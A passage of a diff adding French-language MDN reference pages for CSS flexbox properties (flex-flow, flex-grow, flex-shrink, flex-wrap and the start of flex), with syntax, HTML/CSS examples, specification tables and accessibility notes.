+ <dd>Se comporte comme <code>column</code> mais <strong>main-start</strong> et <strong>main-end</strong> sont échangés.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;h4&gt;Un exemple avec column-reverse&lt;/h4&gt;
+&lt;div id="content"&gt;
+    &lt;div class="box" style="background-color:red;"&gt;A&lt;/div&gt;
+    &lt;div class="box" style="background-color:lightblue;"&gt;B&lt;/div&gt;
+    &lt;div class="box" style="background-color:yellow;"&gt;C&lt;/div&gt;
+&lt;/div&gt;
+&lt;h4&gt;Un exemple avec row-reverse&lt;/h4&gt;
+&lt;div id="content1"&gt;
+    &lt;div class="box" style="background-color:red;"&gt;A&lt;/div&gt;
+    &lt;div class="box" style="background-color:lightblue;"&gt;B&lt;/div&gt;
+    &lt;div class="box" style="background-color:yellow;"&gt;C&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#content {
+  width: 200px;
+  height: 200px;
+  border: 1px solid #c3c3c3;
+  display: flex;
+  flex-direction: column-reverse;
+}
+
+#content1 {
+  width: 200px;
+  height: 200px;
+  border: 1px solid #c3c3c3;
+  display: flex;
+  flex-direction: row-reverse;
+}
+
+.box {
+  width: 50px;
+  height: 50px;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '', '300')}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Lorsqu'on utilise <code>flex-direction</code> avec les valeurs <code>row-reverse</code> ou <code>column-reverse</code>, on crée une déconnexion entre la présentation visuelle du contenu et l'ordre du DOM. Cela aura un impact négatif pour les utilisateurs qui naviguent à l'aide d'outils d'assistance tels que les les lecteurs d'écran. Si l'ordre visuel est important, les utilisateurs de lecteurs d'écran n'auront pas accès à l'ordre correct pour la lecture.</p>
+
+<ul>
+ <li><a href="https://tink.uk/flexbox-the-keyboard-navigation-disconnect/">Les boîtes flexibles et la déconnexion par rapport à la navigation au clavier, Tink (en anglais)</a></li>
+ <li><a href="http://adrianroselli.com/2015/09/source-order-matters.html">L'importance de l'ordre de la source, Adrian Roselli (en anglais)</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">Comprendre les règles 1.3 du WCAG</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-sequence.html">Comprendre les critères de réussite 1.3.2 WCAG 2.0, W3C (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#flex-direction', 'flex-direction')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.flex-direction")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Guide CSS sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Concepts de base</a></em></li>
+ <li>Guide CSS sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Ordering_Flex_Items">Ordonner les éléments flexibles</a></em></li>
+</ul>
diff --git a/files/fr/web/css/flex-flow/index.html b/files/fr/web/css/flex-flow/index.html
new file mode 100644
index 0000000000..f83f7d8f3c
--- /dev/null
+++ b/files/fr/web/css/flex-flow/index.html
@@ -0,0 +1,98 @@
+---
+title: flex-flow
+slug: Web/CSS/flex-flow
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/flex-flow
+---
+<div>{{ CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>flex-flow</code></strong> est une <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">propriété raccourcie</a> pour les propriétés {{cssxref("flex-direction")}} et {{cssxref("flex-wrap")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-flow.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Pour plus d'informations, voir la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS">Utiliser les boîtes flexibles (<em>flexbox</em>) CSS</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* flex-flow: &lt;'flex-direction'&gt; */
+flex-flow: row;
+flex-flow: row-reverse;
+flex-flow: column;
+flex-flow: column-reverse;
+
+/* flex-flow: &lt;'flex-wrap'&gt; */
+flex-flow: nowrap;
+flex-flow: wrap;
+flex-flow: wrap-reverse;
+
+/* flex-flow: &lt;'flex-direction'&gt; et &lt;'flex-wrap'&gt; */
+flex-flow: row nowrap;
+flex-flow: column wrap;
+flex-flow: column-reverse wrap-reverse;
+
+/* Valeurs globales */
+flex-flow: inherit;
+flex-flow: initial;
+flex-flow: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>Voir {{cssxref("flex-direction")}} et {{cssxref("flex-wrap")}} pour plus d'informations sur les valeurs que peuvent prendre ces deux propriétés.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:css;highlight:3">element {
+
+  /* L'axe principal sera la direction de bloc  */
+  /* et on commencera par le bas (main-start et */
+  /* main-end inversés. Les éléments flexibles  */
+  /* passent sur une nouvelle ligne si besoin   */
+
+  flex-flow: column-reverse wrap;
+
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox','#flex-flow-property','flex-flow')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.flex-flow")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Les concepts de bases</a></em></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Ordering_Flex_Items">Ordonner les éléments flexibles</a></em></li>
+</ul>
diff --git a/files/fr/web/css/flex-grow/index.html b/files/fr/web/css/flex-grow/index.html
new file mode 100644
index 0000000000..852dc66dfa
--- /dev/null
+++ b/files/fr/web/css/flex-grow/index.html
@@ -0,0 +1,125 @@
+---
+title: flex-grow
+slug: Web/CSS/flex-grow
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/flex-grow
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>flex-grow</code></strong> définit le facteur d'expansion d'un élément flexible selon sa dimension principale. Elle indique la quantité d'espace restant que l'élément devrait consommer dans un conteneur flexible relativement à la taille des autres éléments du même conteneur.</p>
+
+<p>La dimension principale correspond à la hauteur ou à la largeur de l'élément selon la valeur de {{cssxref("flex-direction")}}.</p>
+
+<p>L'espace restant qui est réparti correspond à la taille du conteneur flexible moins la somme des tailles des éléments flexibles. Si tous les éléments voisins possèdent le même facteur d'expansion, ils recevront tous la même part d'espace.</p>
+
+<p>La plupart du temps <code>flex-grow</code> est utilisé avec les autres propriétés flexibles {{cssxref("flex-shrink")}} et {{cssxref("flex-basis")}}. On pourra utiliser la propriété raccourcie {{cssxref("flex")}} afin de s'assurer que toutes les valeurs des propriétés flexibles auront été définies.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-grow.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Pour plus d'informations, voir la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS">Utiliser les boîtes flexibles (<em>flexbox</em>) CSS</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">flex-grow: 2;
+flex-grow: 0.6;
+
+/* Valeurs globales */
+flex-shrink: inherit;
+flex-shrink: initial;
+flex-shrink: unset;
+</pre>
+
+<p>La propriété <code>flex-grow</code> se définit avec une valeur de type <code><a href="#number">&lt;number&gt;</a></code>.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><a id="number" name="number"><code>&lt;number&gt;</code></a></dt>
+ <dd>Un nombre (type {{cssxref("&lt;number&gt;")}} qui correspond au facteur de grossissement utilisé. Plus la valeur est élevée, plus l'élément sera étendu si nécessaire. Les valeurs négatives sont invalides. La valeur par défaut est 0.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<div id="Live_Sample">
+<pre class="brush: html">&lt;h4&gt;A,B,C et F ont flex-shrink:1 . D et E ont flex-grow:1 .&lt;/h4&gt;
+&lt;div id="content"&gt;
+  &lt;div class="box" style="background-color:red;"&gt;A&lt;/div&gt;
+  &lt;div class="box" style="background-color:lightblue;"&gt;B&lt;/div&gt;
+  &lt;div class="box" style="background-color:yellow;"&gt;C&lt;/div&gt;
+  &lt;div class="box1" style="background-color:brown;"&gt;D&lt;/div&gt;
+  &lt;div class="box1" style="background-color:lightgreen;"&gt;E&lt;/div&gt;
+  &lt;div class="box" style="background-color:brown;"&gt;F&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#content {
+  display: flex;
+
+  justify-content: space-around;
+  flex-flow: row wrap;
+  align-items: stretch;
+}
+
+.box {
+  flex-shrink: 1;
+  border: 3px solid rgba(0,0,0,.2);
+}
+
+.box1 {
+  flex-grow: 1;
+  border: 3px solid rgba(0,0,0,.2);
+}
+</pre>
+</div>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '700px', '300px')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox','#flex-grow-property','flex-grow')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.flex-grow")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://css-tricks.com/flex-grow-is-weird/"><code>flex-grow</code> est étrange ?</a> un article (en anglais) écrit par Manuel Matuzovic sur CSS-Tricks et qui illustre le fonctionnement de <code>flex-grow</code></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Les concepts de bases</a></em></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Contrôler_les_proportions_des_boîtes_flexibles_le_long_de_l_axe_principal">Contrôler les proportions des boîtes flexibles le long de l'axe principal</a></em></li>
+</ul>
diff --git a/files/fr/web/css/flex-shrink/index.html b/files/fr/web/css/flex-shrink/index.html
new file mode 100644
index 0000000000..7d726652f0
--- /dev/null
+++ b/files/fr/web/css/flex-shrink/index.html
@@ -0,0 +1,121 @@
+---
+title: flex-shrink
+slug: Web/CSS/flex-shrink
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/flex-shrink
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>flex-shrink</code></strong> définit le facteur de rétrécissement d'un élément flexible. Si la taille de l'ensemble des éléments flexibles est supérieure à la taille du conteneur, les éléments seront comprimés selon leur facteur <code>flex-shrink</code>.</p>
+
+<p><code>flex-shrink</code> est généralement utilisé avec les propriétés {{cssxref("flex-grow")}} et {{cssxref("flex-basis")}}. Elle est souvent définie grâce à la propriété raccourcie {{cssxref("flex")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-shrink.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Pour plus d'informations, voir la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS">Utiliser les boîtes flexibles (<em>flexbox</em>) CSS</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs numériques */
+/* Type &lt;number&gt;      */
+flex-shrink: 2;
+flex-shrink: 0.6;
+
+/* Valeurs globales */
+flex-shrink: inherit;
+flex-shrink: initial;
+flex-shrink: unset;
+</pre>
+
+<p>La propriété <code>flex-shrink</code> est définie grâce à une valeur de type <code><a href="#number">&lt;number&gt;</a></code>.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><a id="number" name="number"><code>&lt;number&gt;</code></a></dt>
+ <dd>Un nombre (type {{cssxref("&lt;number&gt;")}}) qui correspond au facteur de rétrécissement utilisé. Plus la valeur est élevée, plus l'élément sera compressé si nécessaire. Les valeurs négatives sont invalides. La valeur par défaut est <code>1</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<div id="Live_Sample">
+<pre class="brush: html">&lt;p&gt;A,B,C ont flex-shrink: 1. D et E ont flex-shrink: 2.&lt;/p&gt;
+&lt;div id="content"&gt;
+  &lt;div class="box" style="background-color:red;"&gt;A&lt;/div&gt;
+  &lt;div class="box" style="background-color:lightblue;"&gt;B&lt;/div&gt;
+  &lt;div class="box" style="background-color:yellow;"&gt;C&lt;/div&gt;
+  &lt;div class="box1" style="background-color:brown;"&gt;D&lt;/div&gt;
+  &lt;div class="box1" style="background-color:lightgreen;"&gt;E&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#content {
+  display: flex;
+  width: 500px;
+}
+
+#content div {
+  flex-basis: 120px;
+  border: 3px solid rgba(0,0,0.2);
+}
+
+.box {
+  flex-shrink: 1;
+}
+
+.box1 {
+  flex-shrink: 2;
+}
+</pre>
+</div>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 500, 300)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#flex-shrink', 'flex-shrink')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.flex-shrink")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Les concepts de bases</a></em></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Contrôler_les_proportions_des_boîtes_flexibles_le_long_de_l_axe_principal">Contrôler les proportions des boîtes flexibles le long de l'axe principal</a></em></li>
+</ul>
diff --git a/files/fr/web/css/flex-wrap/index.html b/files/fr/web/css/flex-wrap/index.html
new file mode 100644
index 0000000000..306131015b
--- /dev/null
+++ b/files/fr/web/css/flex-wrap/index.html
@@ -0,0 +1,158 @@
+---
+title: flex-wrap
+slug: Web/CSS/flex-wrap
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/flex-wrap
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>flex-wrap</code></strong> indique si les éléments flexibles sont contraints à être disposés sur une seule ligne ou s'ils peuvent être affichés sur plusieurs lignes avec un retour automatique. Si le retour à la ligne est autorisé, la propriété permet également de contrôler la direction dans laquelle les lignes sont empilées.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-wrap.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Pour plus d'informations, voir la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS">Utiliser les boîtes flexibles (<em>flexbox</em>) CSS</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+flex-wrap: nowrap; /* Valeur par défaut */
+flex-wrap: wrap;
+flex-wrap: wrap-reverse;
+
+/* Valeurs globales */
+flex-wrap: inherit;
+flex-wrap: initial;
+flex-wrap: unset;
+</pre>
+
+<p>La propriété <code>flex-wrap</code> peut être défini grâce à l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>nowrap</code></dt>
+ <dd>Les éléments flexibles sont disposés sur une seule ligne. Cela peut entraîner un dépassement du conteneur. La ligne <strong>cross-start</strong> est équivalente à <strong>start</strong> ou à <strong>before</strong> selon la valeur de {{cssxref("flex-direction")}}. Cette valeur est la valeur par défaut.</dd>
+ <dt><code>wrap</code></dt>
+ <dd>Les éléments flexibles sont disposé sur plusieurs lignes. La ligne <strong>cross-start</strong> est équivalente à  <strong>start</strong> ou <strong>before</strong> en fonction de la valeur de <code>flex-direction</code> et la ligne <strong>cross-end</strong> est à l'opposée <strong>cross-start</strong>.</dd>
+ <dt><code>wrap-reverse</code></dt>
+ <dd>Se comporte comme <code>wrap</code> mais <strong>cross-start</strong> et <strong>cross-end</strong> sont permutées.</dd>
+ <dt>
+ <h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+ </dt>
+</dl>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<div id="Live_Sample">
+<pre class="brush: html">&lt;h4&gt;Un exemple de flex-wrap:wrap &lt;/h4&gt;
+&lt;div class="contenu"&gt;
+  &lt;div class="rouge"&gt;1&lt;/div&gt;
+  &lt;div class="vert"&gt;2&lt;/div&gt;
+  &lt;div class="bleu"&gt;3&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;h4&gt;Un exemple de flex-wrap:nowrap &lt;/h4&gt;
+&lt;div class="contenu1"&gt;
+  &lt;div class="rouge"&gt;1&lt;/div&gt;
+  &lt;div class="vert"&gt;2&lt;/div&gt;
+  &lt;div class="bleu"&gt;3&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;h4&gt;Un exemple de flex-wrap:wrap-reverse &lt;/h4&gt;
+&lt;div class="contenu2"&gt;
+  &lt;div class="rouge"&gt;1&lt;/div&gt;
+  &lt;div class="vert"&gt;2&lt;/div&gt;
+  &lt;div class="bleu"&gt;3&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.contenu,
+.contenu1,
+.contenu2 {
+    color: #fff;
+    font: 100 24px/100px sans-serif;
+    height: 150px;
+    text-align: center;
+}
+
+.contenu div,
+.contenu1 div,
+.contenu2 div {
+    height: 50%;
+    width: 300px;
+}
+.rouge {
+    background: orangered;
+}
+.vert {
+    background: yellowgreen;
+}
+.bleu {
+    background: steelblue;
+}
+
+/* Styles pour les boîtes flexibles*/
+.contenu {
+    display: flex;
+    flex-wrap: wrap;
+}
+.contenu1 {
+    display: flex;
+    flex-wrap: nowrap;
+}
+.contenu2 {
+    display: flex;
+    flex-wrap: wrap-reverse;
+}
+
+</pre>
+</div>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Examples', '700px', '700px', '', 'Web/CSS/flex-wrap')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#flex-wrap-property', 'flex-wrap')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.flex-wrap")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Les concepts de bases</a></em></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Maîtriser le retour à la ligne des éléments flexibles</a></em></li>
+</ul>
diff --git a/files/fr/web/css/flex/index.html b/files/fr/web/css/flex/index.html
new file mode 100644
index 0000000000..c88b0da7b0
--- /dev/null
+++ b/files/fr/web/css/flex/index.html
@@ -0,0 +1,299 @@
+---
+title: flex
+slug: Web/CSS/flex
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/flex
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>flex</code></strong> est une propriété raccourcie qui définit la capacité d'un élément flexible à modifier ses dimensions afin de remplir l'espace disponible de son conteneur.</p>
+
+<p>Les propriétés détaillées correspondantes à cette propriété raccourcie sont {{cssxref("flex-grow")}}, {{cssxref("flex-shrink")}} et {{cssxref("flex-basis")}}.</p>
+
+<p>Les éléments flexibles peuvent être étirés ou réduits pour utiliser un espace proportionnel à leur coefficient de grossissement ou de rétrécissement afin de ne pas dépasser d'un conteneur.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Pour la plupart des cas, on utilisera une des valeurs suivantes : <code>auto</code>, <code>initial</code>, <code>none</code> ou un nombre positif sans unité. Pour voir l'effet de ces valeurs, essayez de redimensionner les conteneurs flexibles ci-après :</p>
+
+<div id="flex">
+<pre class="hidden brush: html notranslate">&lt;div class="flex-container"&gt;
+
+   &lt;div class="item auto"&gt;auto&lt;/div&gt;
+   &lt;div class="item auto"&gt;auto&lt;/div&gt;
+   &lt;div class="item auto"&gt;auto&lt;/div&gt;
+
+&lt;/div&gt;
+
+&lt;div class="flex-container"&gt;
+
+   &lt;div class="item auto"&gt;auto&lt;/div&gt;
+   &lt;div class="item initial"&gt;initial&lt;/div&gt;
+   &lt;div class="item initial"&gt;initial&lt;/div&gt;
+
+&lt;/div&gt;
+
+&lt;div class="flex-container"&gt;
+
+   &lt;div class="item auto"&gt;auto&lt;/div&gt;
+   &lt;div class="item auto"&gt;auto&lt;/div&gt;
+   &lt;div class="item none"&gt;none&lt;/div&gt;
+
+&lt;/div&gt;
+
+&lt;div class="flex-container"&gt;
+
+   &lt;div class="item initial"&gt;initial&lt;/div&gt;
+   &lt;div class="item none"&gt;none&lt;/div&gt;
+   &lt;div class="item none"&gt;none&lt;/div&gt;
+
+&lt;/div&gt;
+
+&lt;div class="flex-container"&gt;
+
+   &lt;div class="item four"&gt;4&lt;/div&gt;
+   &lt;div class="item two"&gt;2&lt;/div&gt;
+   &lt;div class="item one"&gt;1&lt;/div&gt;
+
+&lt;/div&gt;
+</pre>
+
+<pre class="hidden brush: css notranslate">* {
+  box-sizing: border-box;
+}
+
+.flex-container {
+   background-color: #F4F7F8;
+   resize: horizontal;
+   overflow: hidden;
+   display: flex;
+   margin: 1em;
+}
+
+.item {
+  margin: 1em;
+  padding: 0.5em;
+  width: 110px;
+  min-width: 0;
+  background-color: #1B5385;
+  color: white;
+  font-family: monospace;
+}
+
+.initial {
+  flex: initial;
+}
+
+.auto {
+  flex: auto;
+}
+
+.none {
+  flex: none;
+}
+
+.four {
+  flex: 4;
+}
+
+.two {
+  flex: 2;
+}
+
+.one {
+  flex: 1;
+}
+</pre>
+
+<p>{{EmbedLiveSample("flex", "100%","370")}}</p>
+
+<div id="flex">
+<p>Par défaut, les éléments flexibles ne se rétrécissent pas en dessous de la taille minimale du contenu. Pour modifier ce comportement, il faudra paramétrer {{cssxref("min-width")}} ou {{cssxref("min-height")}}.</p>
+</div>
+
+<p>Voir la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS" title="CSS/Using_CSS_flexible_boxes">Utiliser les boîtes flexibles (<em>flexbox</em>) CSS</a> pour plus d'informations.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* Valeurs de base */
+flex: auto;
+flex: initial;
+flex: none;
+
+/* Une valeur sans unité pour flex-grow */
+/* flex-basis vaut alors 0 */
+flex: 2;
+
+/* Une valeur, largeur/hauteur: flex-basis */
+flex: 10em;
+flex: 30px;
+flex: content;
+
+/* Deux valeurs : flex-grow | flex-basis */
+flex: 1 30px;
+
+/* Deux valeurs : flex-grow | flex-shrink */
+/* flex-basis vaut alors 0 */
+flex: 2 2;
+
+/* Trois valeurs : flex-grow | flex-shrink | flex-basis */
+flex: 2 2 10%;
+
+/* Valeurs globales */
+flex: inherit;
+flex: initial;
+flex: unset;
+</pre>
+
+<p>La propriété <code>flex</code> peut être définie avec une, deux ou trois valeurs.</p>
+
+<ul>
+ <li><strong>Avec une valeur</strong>, la syntaxe doit être :
+
+  <ul>
+   <li>un nombre sans unité ({{cssxref("&lt;number&gt;")}}) : celui-ci est alors interprété comme la valeur de <code><a href="#grow">&lt;flex-grow&gt;</a></code></li>
+   <li>ou une valeur de largeur valide ({{cssxref("width")}}) : celle-ci est alors interprétée comme la valeur de <code><a href="#basis">&lt;flex-basis&gt;</a></code></li>
+   <li>ou le mot-clé <code><a href="#none">none</a></code>.</li>
+  </ul>
+ </li>
+ <li><strong>Avec deux valeurs</strong>
+  <ul>
